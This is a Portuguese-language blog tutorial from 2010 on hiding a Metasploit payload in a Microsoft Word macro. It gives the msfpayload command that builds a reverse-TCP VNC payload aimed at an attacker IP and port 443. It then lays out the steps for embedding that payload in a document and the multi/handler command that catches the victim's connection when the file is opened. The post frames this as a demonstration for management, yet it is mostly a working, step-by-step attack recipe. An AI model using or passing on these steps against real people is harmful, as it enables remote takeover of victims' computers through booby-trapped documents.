6 de novembro de 2010

Metasploit com Microsoft Word

Para demonstrar as falhas de segurança dos usuários, um teste de conceito simples e eficaz que pode ser feito é incluir um payload do Metasploit dentro de um arquivo do Word.

Em três passos simples, vamos criar um payload no Metasploit como uma macro do Visual Basic, em seguida, vamos inserir a macro em um arquivo do Word e, finalmente, vai vamos deixar a máquina escutando à espera de uma conexão reversa que deve ser feita quando a vítima abrir o arquivo.



1. Gerar o Payload

Selecionamos como payload uma conexão reversa de VNC, que se conecta ao IP "10.10.10.10" na porta "443"

./msfpayload windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 V > payload.bas

Não é necessário que a vítima tenha instalado um servidor VNC, mas sim que o atacante tenha o vncviewer instalado. Se não, basta executar no terminal o comando:

#apt-get install vncviewer


2. Embutimos a macro

Temos que separar o arquivo payload.bas em duas partes que estão claramente divididos dentro do mesmo, de um lado o código de macro e do outro os dados do payload.

Primeiro, vá em "Ferramentas -> Macro -> Editor do Visual Basic". Em seguida vá em "Arquivo -> Importar Arquivo" e ali selecionamos o arquivo que dividimos previamente com o código da macro.


Linux: Metasploit com Microsoft Word

Se quisermos verificar se o código da macro foi carregado com êxito, vamos ao menu do lado esquerdo, e na pasta "Módulos" deve encontrar o "Módulo 1" com o nosso código. Ao dar duplo clique em "Módulo 1" o código aparece carregado.

Feche o "Editor do Visual Basic", e no final do conteúdo do Word, copiamos os dados do payload.


3. Ouvindo a Conexão Reversa

No final, deixamos nossa máquina ouvindo à espera da conexão reversa via VNC, que será criada quando a vítima abrir o arquivo do Word.

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 E

Se não queremos o Shell de boas vindas do Metasploit, que é um terminal DOS de cor azul, devemos agregar o seguinte parâmetro ao comando anterior:


"DisableCourtesyShell=True"

Para finalizar, em u ataque real ninguém vai utilizar o VNC como payload, porque obviamente a vítima perceberá que tomamos o controle de seu PC, mas por outro lado, é muito efetivo para realizar demonstrações práticas para a gerência de uma empresa ;-)